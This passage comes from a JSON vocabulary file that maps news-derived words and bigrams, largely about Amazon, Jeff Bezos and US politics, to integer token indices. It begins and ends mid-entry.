publicly\": 72342,\n  \"west starting\": 72343,\n  \"advised cnnmoney\": 72344,\n  \"killing egyptian\": 72345,\n  \"malevolent\": 72346,\n  \"advisor solutions\": 72347,\n  \"cardi called\": 72348,\n  \"biggest obstacle\": 72349,\n  \"appears trump\": 72350,\n  \"business continue\": 72351,\n  \"commerce website\": 72352,\n  \"fmr llc\": 72353,\n  \"peaks photo\": 72354,\n  \"syndicated\": 72355,\n  \"flesh foods\": 72356,\n  \"itt scandal\": 72357,\n  \"issue honda\": 72358,\n  \"downtrodden communities\": 72359,\n  \"similar activism\": 72360,\n  \"cortez green\": 72361,\n  \"intercepted\": 72362,\n  \"bleeding\": 72363,\n  \"q4\": 72364,\n  \"mcdermott mark\": 72365,\n  \"amzn units\": 72366,\n  \"parties place\": 72367,\n  \"force urging\": 72368,\n  \"reality\": 72369,\n  \"strong delivery\": 72370,\n  \"ballmer built\": 72371,\n  \"leftover\": 72372,\n  \"real winner\": 72373,\n  \"mary ann\": 72374,\n  \"valued considering\": 72375,\n  \"harris social\": 72376,\n  \"q2 2017\": 72377,\n  \"news release\": 72378,\n  \"fabrications\": 72379,\n  \"prophecy\": 72380,\n  \"host daily\": 72381,\n  \"life expectancy\": 72382,\n  \"intra\": 72383,\n  \"tony west\": 72384,\n  \"people revitalize\": 72385,\n  \"cell batteries\": 72386,\n  \"illusions\": 72387,\n  \"war click\": 72388,\n  \"oklahoma complained\": 72389,\n  \"missteps khosrowshahi\": 72390,\n  \"tractors\": 72391,\n  \"faster pete\": 72392,\n  \"different branches\": 72393,\n  \"avid shark\": 72394,\n  \"motivating usps\": 72395,\n  \"delete\": 72396,\n  \"scale devised\": 72397,\n  \"publicly mulling\": 72398,\n  \"recorder competitor\": 72399,\n  \"dozen audio\": 72400,\n  \"janssen willhoit\": 72401,\n  \"featured guest\": 72402,\n  \"containing queensbridge\": 72403,\n  \"harriet\": 72404,\n  \"british reading\": 72405,\n  \"foto sourcebuild\": 72406,\n  \"green oasis\": 72407,\n  \"international anticounterfeiting\": 72408,\n  \"known thing\": 72409,\n  \"swooping camera\": 72410,\n  \"love pilgrimage\": 72411,\n  \"general tish\": 72412,\n  \"collection division\": 72413,\n  \"development program\": 72414,\n  \"haram\": 72415,\n  \"select committee\": 72416,\n  \"regardless\": 72417,\n  \"intelligence dan\": 72418,\n  \"cultivating\": 72419,\n  \"kirio\": 72420,\n  \"samsung india\": 72421,\n  \"latest quarter\": 72422,\n  \"amazonia encompasses\": 72423,\n  \"gifting\": 72424,\n  \"2004 hillary\": 72425,\n  \"reducing trade\": 72426,\n  \"quake turns\": 72427,\n  \"waters security\": 72428,\n  \"midterms democratic\": 72429,\n  \"spitting wind\": 72430,\n  \"key facts\": 72431,\n  \"accusers\": 72432,\n  \"biscuits\": 72433,\n  \"juncker commission\": 72434,\n  \"bid adieu\": 72435,\n  \"occasioned\": 72436,\n  \"retracement\": 72437,\n  \"travel company\": 72438,\n  \"thomson knows\": 72439,\n  \"newshour\": 72440,\n  \"left people\": 72441,\n  \"store delis\": 72442,\n  \"says want\": 72443,\n  \"bank deposits\": 72444,\n  \"personal profit\": 72445,\n  \"president press\": 72446,\n  \"100 list\": 72447,\n  \"dictatorial age\": 72448,\n  \"way seattle\": 72449,\n  \"ideas deceiving\": 72450,\n  \"washington area\": 72451,\n  \"conde\": 72452,\n  \"hayek told\": 72453,\n  \"western countries\": 72454,\n  \"bravery bezos\": 72455,\n  \"amazon recorded\": 72456,\n  \"deforested\": 72457,\n  \"gathering customer\": 72458,\n  \"cigars\": 72459,\n  \"bias saying\": 72460,\n  \"yielded\": 72461,\n  \"today prime\": 72462,\n  \"called algo\": 72463,\n  \"directing millions\": 72464,\n  \"paper isn\": 72465,\n  \"leaking internal\": 72466,\n  \"vape god\": 72467,\n  \"1812296334\": 72468,\n  \"music red\": 72469,\n  \"aut_newsletter_location\": 72470,\n  \"fetuses feature\": 72471,\n  \"published people\": 72472,\n  \"story happy\": 72473,\n  \"ghabour key\": 72474,\n  \"withdrawal\": 72475,\n  \"mnuchin accused\": 72476,\n  \"elementary\": 72477,\n  \"enquirer investigation\": 72478,\n  \"mangoes america\": 72479,\n  \"natives adults\": 72480,\n  \"night facebook\": 72481,\n  \"reuters lindsey\": 72482,\n  \"billion distraction\": 72483,\n  \"revenue blew\": 72484,\n  \"cohen retweeted\": 72485,\n  \"pedro ulteras\": 72486,\n  \"essayist toni\": 72487,\n  \"don investigate\": 72488,\n  \"brattleboro\": 72489,\n  \"dems tomi\": 72490,\n  \"burlington free\": 72491,\n  \"earlier digits\": 72492,\n  \"flair marrying\": 72493,\n  \"doing buddy\": 72494,\n  \"torrential\": 72495,\n  \"cardigan bay\": 72496,\n  \"970x450\": 72497,\n  \"disclosing\": 72498,\n  \"continued slamming\": 72499,\n  \"shows promise\": 72500,\n  \"000 pudo\": 72501,\n  \"improved regulations\": 72502,\n  \"school teachers\": 72503,\n  \"collect potentially\": 72504,\n  \"incentivized imports\": 72505,\n  \"falsely posit\": 72506,\n  \"eternity gate\": 72507,\n  \"signed pre\": 72508,\n  \"tawdry episode\": 72509,\n  \"prime music\": 72510,\n  \"effectively ended\": 72511,\n  \"political sidebars\": 72512,\n  \"mini arrives\": 72513,\n  \"production values\": 72514,\n  \"incriminating information\": 72515,\n  \"finance industry\": 72516,\n  \"hack\": 72517,\n  \"building smart\": 72518,\n  \"think picking\": 72519,\n  \"obama cited\": 72520,\n  \"immune\": 72521,\n  \"discount retailer\": 72522,\n  \"fedex news\": 72523,\n  \"stricter gun\": 72524,\n  \"475 shares\": 72525,\n  \"gop kavanaugh\": 72526,\n  \"implying rally\": 72527,\n  \"avoidance amazon\": 72528,\n  \"bowen dagger\": 72529,\n  \"japan data\": 72530,\n  \"good community\": 72531,\n  \"bribery publix\": 72532,\n  \"267\": 72533,\n  \"unlawfully\": 72534,\n  \"strongly refutes\": 72535,\n  \"exaggerates\": 72536,\n  \"ban halt\": 72537,\n  \"stoic\": 72538,\n  \"told floridapolitics\": 72539,\n  \"carmen best\": 72540,\n  \"race associated\": 72541,\n  \"blame squarely\": 72542,\n  \"communities united\": 72543,\n  \"dating pool\": 72544,\n  \"endowment lp\": 72545,\n  \"shipments meaning\": 72546,\n  \"7d\": 72547,\n  \"texas begin\": 72548,\n  \"bbc notes\": 72549,\n  \"banning print\": 72550,\n  \"prosperous\": 72551,\n  \"melissa schorr\": 72552,\n  \"company rean\": 72553,\n  \"bezos penned\": 72554,\n  \"population jedi\": 72555,\n  \"jeff did\": 72556,\n  \"vile reputation\": 72557,\n  \"searches half\": 72558,\n  \"breaker\": 72559,\n  \"benjamin yee\": 72560,\n  \"aids polio\": 72561,\n  \"keeps proving\": 72562,\n  \"truth lies\": 72563,\n  \"benefits avg\": 72564,\n  \"jpm wells\": 72565,\n  \"increasingly expecting\": 72566,\n  \"companies evil\": 72567,\n  \"personal obsession\": 72568,\n  \"region remains\": 72569,\n  \"increasingly sophisticated\": 72570,\n  \"milk\": 72571,\n  \"cyber retailing\": 72572,\n  \"naini viniar\": 72573,\n  \"investors understand\": 72574,\n  \"today best\": 72575,\n  \"mind jeff\": 72576,\n  \"dilip\": 72577,\n  \"charging boxer\": 72578,\n  \"mirror newspaper\": 72579,\n  \"logistics super\": 72580,\n  \"false callbackobj\": 72581,\n  \"deliveroo giving\": 72582,\n  \"058\": 72583,\n  \"machine recount\": 72584,\n  \"making multiple\": 72585,\n  \"dangerous facial\": 72586,\n  \"amazon richer\": 72587,\n  \"rosenstein justice\": 72588,\n  \"interrupting\": 72589,\n  \"partisan support\": 72590,\n  \"gilberto\": 72591,\n  \"bezos fractured\": 72592,\n  \"researchers tom\": 72593,\n  \"neighborhoods united\": 72594,\n  \"kish\": 72595,\n  \"201 657\": 72596,\n  \"comment specifically\": 72597,\n  \"findings don\": 72598,\n  \"wages maybe\": 72599,\n  \"extensively\": 72600,\n  \"potentially compete\": 72601,\n  \"tax revenue\": 72602,\n  \"hopefully punish\": 72603,\n  \"cohen speechboy71\": 72604,\n  \"bezos touts\": 72605,\n  \"email print\": 72606,\n  \"previously founded\": 72607,\n  \"offers day\": 72608,\n  \"zuckerberg decided\": 72609,\n  \"fallen veterans\": 72610,\n  \"legal minds\": 72611,\n  \"type jobs\": 72612,\n  \"ebook downloads\": 72613,\n  \"independent 2018\": 72614,\n  \"reaching 178\": 72615,\n  \"mellon tells\": 72616,\n  \"homeless service\": 72617,\n  \"term obviously\": 72618,\n  \"innovation experience\": 72619,\n  \"pouches\": 72620,\n  \"fully make\": 72621,\n  \"published technology\": 72622,\n  \"climbing higher\": 72623,\n  \"90149 z4a\": 72624,\n  \"president patchett\": 72625,\n  \"times mack\": 72626,\n  \"diabetes\": 72627,\n  \"amazon reportedly\": 72628,\n  \"1077231267559755776 read\": 72629,\n  \"refereeing\": 72630,\n  \"demonstration\": 72631,\n  \"rights group\": 72632,\n  \"pick gorsuch\": 72633,\n  \"university broward\": 72634,\n  \"hyatt\": 72635,\n  \"moved probably\": 72636,\n  \"1531928062 mod\": 72637,\n  \"executive leadership\": 72638,\n  \"duchess walked\": 72639,\n  \"isn correctly\": 72640,\n  \"bank account\": 72641,\n  \"probably won\": 72642,\n  \"underrepresented\": 72643,\n  \"nieto\": 72644,\n  \"lunch amazon\": 72645,\n  \"regions diverse\": 72646,\n  \"shares gained\": 72647,\n  \"bizarre history\": 72648,\n  \"gotten hold\": 72649,\n  \"congressional gerrymandering\": 72650,\n  \"conduct brosseau\": 72651,\n  \"bear bull\": 72652,\n  \"new horror\": 72653,\n  \"donned bald\": 72654,\n  \"amazon posted\": 72655,\n  \"wage measure\": 72656,\n  \"occurs seller\": 72657,\n  \"onewest refused\": 72658,\n  \"broad strokes\": 72659,\n  \"south burlington\": 72660,\n  \"despite plug\": 72661,\n  \"american agent\": 72662,\n  \"based cloud\": 72663,\n  \"consider taking\": 72664,\n  \"address trump\": 72665,\n  \"congressman ocasio\": 72666,\n  \"past week\": 72667,\n  \"jacobson blue\": 72668,\n  \"extreme weather\": 72669,\n  \"iwb\": 72670,\n  \"latest demonstration\": 72671,\n  \"sale saw\": 72672,\n  \"mxhrafnf2k\": 72673,\n  \"enormous win\": 72674,\n  \"accordingly amazon\": 72675,\n  \"project joe\": 72676,\n  \"promises south\": 72677,\n  \"dieting 2019\": 72678,\n  \"gideon resnick\": 72679,\n  \"stake terrorizes\": 72680,\n  \"commodity moving\": 72681,\n  \"cloud employee\": 72682,\n  \"employees bartiromo\": 72683,\n  \"originally written\": 72684,\n  \"surprisingly weak\": 72685,\n  \"subtitles torel\": 72686,\n  \"john banks\": 72687,\n  \"dc kerry\": 72688,\n  \"volatile markets\": 72689,\n  \"google disappoint\": 72690,\n  \"bought startup\": 72691,\n  \"revisionist fantasies\": 72692,\n  \"dark history\": 72693,\n  \"dvr\": 72694,\n  \"devastating tragedies\": 72695,\n  \"daily trump\": 72696,\n  \"lands zinke\": 72697,\n  \"amazon chris\": 72698,\n  \"people bank\": 72699,\n  \"esch\": 72700,\n  \"starring carrell\": 72701,\n  \"dishing dirt\": 72702,\n  \"aclu letter\": 72703,\n  \"youngs\": 72704,\n  \"democratic anti\": 72705,\n  \"smartpower program\": 72706,\n  \"walmart isn\": 72707,\n  \"matt daily\": 72708,\n  \"guys threw\": 72709,\n  \"uspo woe\": 72710,\n  \"randolfo\": 72711,\n  \"additionalsections auxiliarytext\": 72712,\n  \"gentleman\": 72713,\n  \"825\": 72714,\n  \"rain canadian\": 72715,\n  \"huawei tried\": 72716,\n  \"employees filed\": 72717,\n  \"romney hits\": 72718,\n  \"foreign countries\": 72719,\n  \"book reveals\": 72720,\n  \"barbara corcoran\": 72721,\n  \"elmjouie airs\": 72722,\n  \"regulatory legislative\": 72723,\n  \"increase customer\": 72724,\n  \"demise\": 72725,\n  \"latest forbes\": 72726,\n  \"fell steel\": 72727,\n  \"new america\": 72728,\n  \"traditionally\": 72729,\n  \"understaffed enduring\": 72730,\n  \"democrat drawled\": 72731,\n  \"revenue watch\": 72732,\n  \"quickly accumulate\": 72733,\n  \"castaway\": 72734,\n  \"book promoting\": 72735,\n  \"washable business\": 72736,\n  \"predicted jeff\": 72737,\n  \"administration delivered\": 72738,\n  \"samsung business\": 72739,\n  \"dem candidates\": 72740,\n  \"trillion industry\": 72741,\n  \"klj cnn\": 72742,\n  \"pinpointed\": 72743,\n  \"contributions 2018\": 72744,\n  \"ensure level\": 72745,\n  \"twitter storm\": 72746,\n  \"strangers\": 72747,\n  \"jeffery\": 72748,\n  \"street analyst\": 72749,\n  \"foreign markets\": 72750,\n  \"marijuana paraphernalia\": 72751,\n  \"panic button\": 72752,\n  \"mouse\": 72753,\n  \"tim1965\": 72754,\n  \"strategist 2019\": 72755,\n  \"camp people\": 72756,\n  \"zion\": 72757,\n  \"equality\": 72758,\n  \"political essays\": 72759,\n  \"application couldn\": 72760,\n  \"despising\": 72761,\n  \"sideways think\": 72762,\n  \"fines breaking\": 72763,\n  \"progressives saying\": 72764,\n  \"stringer\": 72765,\n  \"wing populists\": 72766,\n  \"authorized automated\": 72767,\n  \"nonfiction barracoon\": 72768,\n  \"claims according\": 72769,\n  \"1014144323934277632\": 72770,\n  \"office posted\": 72771,\n  \"leaning media\": 72772,\n  \"recent ode\": 72773,\n  \"historical acn\": 72774,\n  \"cites trillion\": 72775,\n  \"qid 1530799114\": 72776,\n  \"self destructive\": 72777,\n  \"sclerosis\": 72778,\n  \"textbook\": 72779,\n  \"sides appear\": 72780,\n  \"provide shelter\": 72781,\n  \"workers freshman\": 72782,\n  \"mysql\": 72783,\n  \"claimed independent\": 72784,\n  \"malbin\": 72785,\n  \"eleanor\": 72786,\n  \"dorfman\": 72787,\n  \"guadagnino\": 72788,\n  \"edvard pettersson\": 72789,\n  \"home exhausted\": 72790,\n  \"roughly 500\": 72791,\n  \"new voice\": 72792,\n  \"days moser\": 72793,\n  \"queens based\": 72794,\n  \"attack congestion\": 72795,\n  \"cynics say\": 72796,\n  \"reported unlike\": 72797,\n  \"profitably engages\": 72798,\n  \"viable hope\": 72799,\n  \"headline writer\": 72800,\n  \"fang exposure\": 72801,\n  \"plaintiffs continue\": 72802,\n  \"closer ties\": 72803,\n  \"galore providing\": 72804,\n  \"does business\": 72805,\n  \"infighting misjudgment\": 72806,\n  \"closest cn\": 72807,\n  \"expo\": 72808,\n  \"workers 2018\": 72809,\n  \"massed troop\": 72810,\n  \"mark josephson\": 72811,\n  \"reflects consumer\": 72812,\n  \"course look\": 72813,\n  \"president rhetorical\": 72814,\n  \"delia owens\": 72815,\n  \"eps calculation\": 72816,\n  \"losses companies\": 72817,\n  \"worldwide growth\": 72818,\n  \"educated quickly\": 72819,\n  \"security according\": 72820,\n  \"slavery jeff\": 72821,\n  \"observed veterans\": 72822,\n  \"25357\": 72823,\n  \"post calling\": 72824,\n  \"fight ramesh\": 72825,\n  \"aversion\": 72826,\n  \"important person\": 72827,\n  \"stonewall encouraging\": 72828,\n  \"security facebook\": 72829,\n  \"quentin fulks\": 72830,\n  \"allegedly raped\": 72831,\n  \"thinks separating\": 72832,\n  \"fubo bundle\": 72833,\n  \"texts ended\": 72834,\n  \"korea teachers\": 72835,\n  \"deference\": 72836,\n  \"resonates\": 72837,\n  \"consumer looking\": 72838,\n  \"public programs\": 72839,\n  \"statements amazon\": 72840,\n  \"immunity pecker\": 72841,\n  \"shoppers counterfeit\": 72842,\n  \"sales dropped\": 72843,\n  \"shirts today\": 72844,\n  \"true despite\": 72845,\n  \"lot\": 72846,\n  \"height\": 72847,\n  \"people friendly\": 72848,\n  \"help retrieve\": 72849,\n  \"notorious mexican\": 72850,\n  \"lawyer lina\": 72851,\n  \"onewest ownership\": 72852,\n  \"control vast\": 72853,\n  \"robert martin\": 72854,\n  \"robbed\": 72855,\n  \"florida louisiana\": 72856,\n  \"nazi memorabilia\": 72857,\n  \"google training\": 72858,\n  \"follow number\": 72859,\n  \"1133\": 72860,\n  \"attributed\": 72861,\n  \"guidance shares\": 72862,\n  \"threats reached\": 72863,\n  \"mediation instead\": 72864,\n  \"ideological crossfire\": 72865,\n  \"including bipartisan\": 72866,\n  \"accounts harley\": 72867,\n  \"fear generator\": 72868,\n  \"fees users\": 72869,\n  \"sandcastles\": 72870,\n  \"news gregg\": 72871,\n  \"mere technical\": 72872,\n  \"reuters airbus\": 72873,\n  \"hooq\": 72874,\n  \"cinematic counterparts\": 72875,\n  \"sourced good\": 72876,\n  \"minutes ago\": 72877,\n  \"keith questioned\": 72878,\n  \"negotiating possible\": 72879,\n  \"texts blew\": 72880,\n  \"children blood\": 72881,\n  \"tweeted john\": 72882,\n  \"live stream\": 72883,\n  \"entrepreneur 137\": 72884,\n  \"virginia mastrel\": 72885,\n  \"acre plot\": 72886,\n  \"amazon stop\": 72887,\n  \"times supreme\": 72888,\n  \"matthew brooker\": 72889,\n  \"trademark\": 72890,\n  \"currently valued\": 72891,\n  \"buys zuckerberg\": 72892,\n  \"home technology\": 72893,\n  \"811 shares\": 72894,\n  \"equates amazon\": 72895,\n  \"charles atlas\": 72896,\n  \"employs\": 72897,\n  \"security justification\": 72898,\n  \"education initiatives\": 72899,\n  \"nominated gianaris\": 72900,\n  \"bible pajamas\": 72901,\n  \"yorgos\": 72902,\n  \"future probably\": 72903,\n  \"tko\": 72904,\n  \"frog posing\": 72905,\n  \"vulnerable repeat\": 72906,\n  \"alex burns\": 72907,\n  \"appointees tony\": 72908,\n  \"story government\": 72909,\n  \"potential host\": 72910,\n  \"tidings jackie\": 72911,\n  \"business walker\": 72912,\n  \"stay strong\": 72913,\n  \"amazon refusal\": 72914,\n  \"s8 j8i\": 72915,\n  \"convention donna\": 72916,\n  \"market backdrop\": 72917,\n  \"dobbs owns\": 72918,\n  \"fukuoka japan\": 72919,\n  \"pretax\": 72920,\n  \"just salary\": 72921,\n  \"conditions democrats\": 72922,\n  \"double standards\": 72923,\n  \"appease sen\": 72924,\n  \"ai diagnostic\": 72925,\n  \"selling fake\": 72926,\n  \"access americans\": 72927,\n  \"close lower\": 72928,\n  \"commerce consultant\": 72929,\n  \"walmart alice\": 72930,\n  \"republican tax\": 72931,\n  \"mnuchin omarosa\": 72932,\n  \"government giving\": 72933,\n  \"washington iot\": 72934,\n  \"committee announced\": 72935,\n  \"advertisement trump\": 72936,\n  \"exclusive shipper\": 72937,\n  \"acted lawfully\": 72938,\n  \"strengthening\": 72939,\n  \"couple told\": 72940,\n  \"linger earlier\": 72941,\n  \"congress worked\": 72942,\n  \"stepdaughter takes\": 72943,\n  \"wulfraat president\": 72944,\n  \"amazons virtual\": 72945,\n  \"play fictionalized\": 72946,\n  \"literate\": 72947,\n  \"sides amazon\": 72948,\n  \"book heralded\": 72949,\n  \"vukmir\": 72950,\n  \"democratically controlled\": 72951,\n  \"releasing dozens\": 72952,\n  \"increased responsibility\": 72953,\n  \"bryan weaver\": 72954,\n  \"pemex\": 72955,\n  \"story stocks\": 72956,\n  \"counselors\": 72957,\n  \"apostle photo\": 72958,\n  \"eastthe\": 72959,\n  \"nsa spying\": 72960,\n  \"axios tweet\": 72961,\n  \"reboot carell\": 72962,\n  \"dangers presented\": 72963,\n  \"successful campaign\": 72964,\n  \"records kayla\": 72965,\n  \"long battle\": 72966,\n  \"second compared\": 72967,\n  \"ormond\": 72968,\n  \"deadspin spun\": 72969,\n  \"trump criticizing\": 72970,\n  \"region sinnet\": 72971,\n  \"little lies\": 72972,\n  \"insinuating\": 72973,\n  \"uninspiring state\": 72974,\n  \"manry\": 72975,\n  \"binge watch\": 72976,\n  \"pablo\": 72977,\n  \"obviously generate\": 72978,\n  \"play hardball\": 72979,\n  \"decision green\": 72980,\n  \"flags alas\": 72981,\n  \"racy publication\": 72982,\n  \"reporters amazon\": 72983,\n  \"quite\\u0430an antidote\": 72984,\n  \"vmware announce\": 72985,\n  \"sandwiches\": 72986,\n  \"economy did\": 72987,\n  \"private specifically\": 72988,\n  \"reducing faang\": 72989,\n  \"stationed overseas\": 72990,\n  \"obvious target\": 72991,\n  \"influential tech\": 72992,\n  \"main adversaries\": 72993,\n  \"mlk\": 72994,\n  \"new innovative\": 72995,\n  \"jpmorgan nyse\": 72996,\n  \"contracts meet\": 72997,\n  \"cagle\": 72998,\n  \"yujin kim\": 72999,\n  \"decidedly unamazonian\": 73000,\n  \"speculative discussions\": 73001,\n  \"comparing\": 73002,\n  \"interview 2019\": 73003,\n  \"money flow\": 73004,\n  \"sept uncooked\": 73005,\n  \"interior director\": 73006,\n  \"adam smith\": 73007,\n  \"clea duvall\": 73008,\n  \"national australia\": 73009,\n  \"bank ability\": 73010,\n  \"arizona reported\": 73011,\n  \"lince tjl\": 73012,\n  \"google refusal\": 73013,\n  \"fund announced\": 73014,\n  \"areas critics\": 73015,\n  \"analysis diginomica\": 73016,\n  \"news updates\": 73017,\n  \"docuseries tom\": 73018,\n  \"84c\": 73019,\n  \"carrying bouquets\": 73020,\n  \"software called\": 73021,\n  \"latest work\": 73022,\n  \"dubbed hq2\": 73023,\n  \"symbolic\": 73024,\n  \"storage company\": 73025,\n  \"whitesells\": 73026,\n  \"suing drug\": 73027,\n  \"john edge\": 73028,\n  \"communities known\": 73029,\n  \"elisabeth\": 73030,\n  \"offer shippers\": 73031,\n  \"statement declaring\": 73032,\n  \"boeing chief\": 73033,\n  \"gerrymandering did\": 73034,\n  \"just start\": 73035,\n  \"map travelpod\": 73036,\n  \"positive reception\": 73037,\n  \"platform edges\": 73038,\n  \"buildings don\": 73039,\n  \"bryan crabtree\": 73040,\n  \"property protection\": 73041,\n  \"trump tightened\": 73042,\n  \"urquhart reuters\": 73043,\n  \"watch inventory\": 73044,\n  \"obtain permission\": 73045,\n  \"ago henderson\": 73046,\n  \"bills including\": 73047,\n  \"soe zeya\": 73048,\n  \"breathe little\": 73049,\n  \"mind games\": 73050,\n  \"fool canada\": 73051,\n  \"leading tech\": 73052,\n  \"gilded age\": 73053,\n  \"stepfather\": 73054,\n  \"chump\": 73055,\n  \"volume pricing\": 73056,\n  \"illegally obstruct\": 73057,\n  \"latest bombshell\": 73058,\n  \"ceo simply\": 73059,\n  \"pecker provided\": 73060,\n  \"amazon passengers\": 73061,\n  \"modern times\": 73062,\n  \"capitalization isn\": 73063,\n  \"trouble jan\": 73064,\n  \"leftists\": 73065,\n  \"putting aside\": 73066,\n  \"notify\": 73067,\n  \"personal law\": 73068,\n  \"bezos 250\": 73069,\n  \"trump kellyanne\": 73070,\n  \"viticultural area\": 73071,\n  \"manufactured contradiction\": 73072,\n  \"amanda wait\": 73073,\n  \"powered tablet\": 73074,\n  \"bezos references\": 73075,\n  \"provide real\": 73076,\n  \"thornburgh\": 73077,\n  \"reaching 1827\": 73078,\n  \"tech lords\": 73079,\n  \"autograph\": 73080,\n  \"techfreedom asserted\": 73081,\n  \"consider amazon\": 73082,\n  \"112bn\": 73083,\n  \"pattern\": 73084,\n  \"contributed 000\": 73085,\n  \"ultimately decline\": 73086,\n  \"flagship issue\": 73087,\n  \"facility iso\": 73088,\n  \"mngmt locust\": 73089,\n  \"catch l0\": 73090,\n  \"completely different\": 73091,\n  \"assure normal\": 73092,\n  \"seated alongside\": 73093,\n  \"point included\": 73094,\n  \"sinister occurrences\": 73095,\n  \"freedom incentive\": 73096,\n  \"fake bezos\": 73097,\n  \"fedex fare\": 73098,\n  \"changing longstanding\": 73099,\n  \"kavanaugh story\": 73100,\n  \"states presidency\": 73101,\n  \"theaters\": 73102,\n  \"popping numbers\": 73103,\n  \"government does\": 73104,\n  \"nba\": 73105,\n  \"merchant perspective\": 73106,\n  \"story stock\": 73107,\n  \"website slate\": 73108,\n  \"starstruck\": 73109,\n  \"taxes shutting\": 73110,\n  \"officiating\": 73111,\n  \"relented\": 73112,\n  \"k8 m8i\": 73113,\n  \"changes barely\": 73114,\n  \"students despite\": 73115,\n  \"dems\": 73116,\n  \"carried reports\": 73117,\n  \"bezos blackmailed\": 73118,\n  \"servicer\": 73119,\n  \"gridhash\": 73120,\n  \"means half\": 73121,\n  \"treatments\": 73122,\n  \"predicto magic\": 73123,\n  \"president current\": 73124,\n  \"brazil doesn\": 73125,\n  \"addy\": 73126,\n  \"nbc feel\": 73127,\n  \"news abruptly\": 73128,\n  \"inner lives\": 73129,\n  \"html action\": 73130,\n  \"likewise amazon\": 73131,\n  \"bristol\": 73132,\n  \"leading stock\": 73133,\n  \"wien 2018\": 73134,\n  \"presences\": 73135,\n  \"book key\": 73136,\n  \"anticipated netflix\": 73137,\n  \"tie amazon\": 73138,\n  \"fuckup\": 73139,\n  \"ultra wealthy\": 73140,\n  \"sights\": 73141,\n  \"chief says\": 73142,\n  \"favorite search\": 73143,\n  \"hunky dory\": 73144,\n  \"video advertisements\": 73145,\n  \"financially vulnerable\": 73146,\n  \"feel fresh\": 73147,\n  \"taxpayer subsidies\": 73148,\n  \"called relentless\": 73149,\n  \"revolt\": 73150,\n  \"instance announced\": 73151,\n  \"ceo revealing\": 73152,\n  \"economy continue\": 73153,\n  \"cattle\": 73154,\n  \"decade 2009\": 73155,\n  \"law year\": 73156,\n  \"reasons americans\": 73157,\n  \"215 targets\": 73158,\n  \"amazon disruptive\": 73159,\n  \"received stories\": 73160,\n  \"broken apart\": 73161,\n  \"independence chris\": 73162,\n  \"crude tends\": 73163,\n  \"trump bashed\": 73164,\n  \"indirect\": 73165,\n  \"woodward new\": 73166,\n  \"women claims\": 73167,\n  \"lawsuit lists\": 73168,\n  \"addition edwards\": 73169,\n  \"toxicity\": 73170,\n  \"bribery\": 73171,\n  \"people revile\": 73172,\n  \"help approps\": 73173,\n  \"partner thomson\": 73174,\n  \"chapter 11s\": 73175,\n  \"amazon associate\": 73176,\n  \"salvation\": 73177,\n  \"delivery analysis\": 73178,\n  \"meddle\": 73179,\n  \"2015 samsung\": 73180,\n  \"voting control\": 73181,\n  \"daca serial\": 73182,\n  \"cook satya\": 73183,\n  \"horror anthology\": 73184,\n  \"student nicholas\": 73185,\n  \"ai donald\": 73186,\n  \"affinity\": 73187,\n  \"services outside\": 73188,\n  \"time teresa\": 73189,\n  \"activists ascent\": 73190,\n  \"rave reviews\": 73191,\n  \"share petitions\": 73192,\n  \"financial issues\": 73193,\n  \"shutdown watch\": 73194,\n  \"mid day\": 73195,\n  \"spy chips\": 73196,\n  \"republic aug\": 73197,\n  \"create presence\": 73198,\n  \"core industry\": 73199,\n  \"adidas warned\": 73200,\n  \"meet carlson\": 73201,\n  \"post moveon\": 73202,\n  \"commercial workers\": 73203,\n  \"officials threatened\": 73204,\n  \"fragile\": 73205,\n  \"halfway\": 73206,\n  \"marketing hype\": 73207,\n  \"private information\": 73208,\n  \"past success\": 73209,\n  \"mini game\": 73210,\n  \"privately praised\": 73211,\n  \"dc overlooks\": 73212,\n  \"analyst angelo\": 73213,\n  \"investigate payments\": 73214,\n  \"hunger poverty\": 73215,\n  \"club president\": 73216,\n  \"elevation offers\": 73217,\n  \"world eventually\": 73218,\n  \"giving service\": 73219,\n  \"hoover nearby\": 73220,\n  \"stability oversight\": 73221,\n  \"msn home\": 73222,\n  \"allow unlimited\": 73223,\n  \"sporting items\": 73224,\n  \"moss read\": 73225,\n  \"new calls\": 73226,\n  \"understand people\": 73227,\n  \"laid bare\": 73228,\n  \"agents visited\": 73229,\n  \"blunt trump\": 73230,\n  \"prime real\": 73231,\n  \"systems scan\": 73232,\n  \"equity pay\": 73233,\n  \"typically hold\": 73234,\n  \"onadplay function\": 73235,\n  \"sarah lynch\": 73236,\n  \"workers published\": 73237,\n  \"office lewandowski\": 73238,\n  \"research publication\": 73239,\n  \"raise starting\": 73240,\n  \"discuss coordination\": 73241,\n  \"2fuser\": 73242,\n  \"fine online\": 73243,\n  \"beforethis\": 73244,\n  \"irs\": 73245,\n  \"troubling given\": 73246,\n  \"companies prescription\": 73247,\n  \"past cyber\": 73248,\n  \"events fundraisers\": 73249,\n  \"workers criticized\": 73250,\n  \"worldwide yes\": 73251,\n  \"public finance\": 73252,\n  \"men took\": 73253,\n  \"chubb cb\": 73254,\n  \"lost firefighters\": 73255,\n  \"hear lot\": 73256,\n  \"t5q 131\": 73257,\n  \"general reuters\": 73258,\n  \"indianapolis\": 73259,\n  \"states shows\": 73260,\n  \"plastic fish\": 73261,\n  \"1q17\": 73262,\n  \"pique\": 73263,\n  \"threw tarp\": 73264,\n  \"expected targets\": 73265,\n  \"bezos owning\": 73266,\n  \"year bull\": 73267,\n  \"____________________________today dealbook\": 73268,\n  \"getting amazon\": 73269,\n  \"reportingon\": 73270,\n  \"958 228\": 73271,\n  \"held 483\": 73272,\n  \"jarrett fox\": 73273,\n  \"explicitly deny\": 73274,\n  \"trans\": 73275,\n  \"long rules\": 73276,\n  \"different pages\": 73277,\n  \"viewpoints displease\": 73278,\n  \"amazon 359\": 73279,\n  \"100 travel\": 73280,\n  \"stltoday\": 73281,\n  \"tindall memoir\": 73282,\n  \"size reuters\": 73283,\n  \"service current\": 73284,\n  \"quickly changed\": 73285,\n  \"democratic congresswoman\": 73286,\n  \"kong initial\": 73287,\n  \"dwindling number\": 73288,\n  \"actually committing\": 73289,\n  \"reasonable interpretation\": 73290,\n  \"stop allowing\": 73291,\n  \"senate leader\": 73292,\n  \"d1\": 73293,\n  \"today market\": 73294,\n  \"structure eliminated\": 73295,\n  \"senate confirmed\": 73296,\n  \"catalog covers\": 73297,\n  \"completely envelop\": 73298,\n  \"service coalition\": 73299,\n  \"rise documentary\": 73300,\n  \"potential costumes\": 73301,\n  \"author depiction\": 73302,\n  \"medium accused\": 73303,\n  \"jeff bezoss\": 73304,\n  \"rm40 68bil\": 73305,\n  \"smith assurance\": 73306,\n  \"historically trump\": 73307,\n  \"continues amazon\": 73308,\n  \"care issues\": 73309,\n  \"hardly 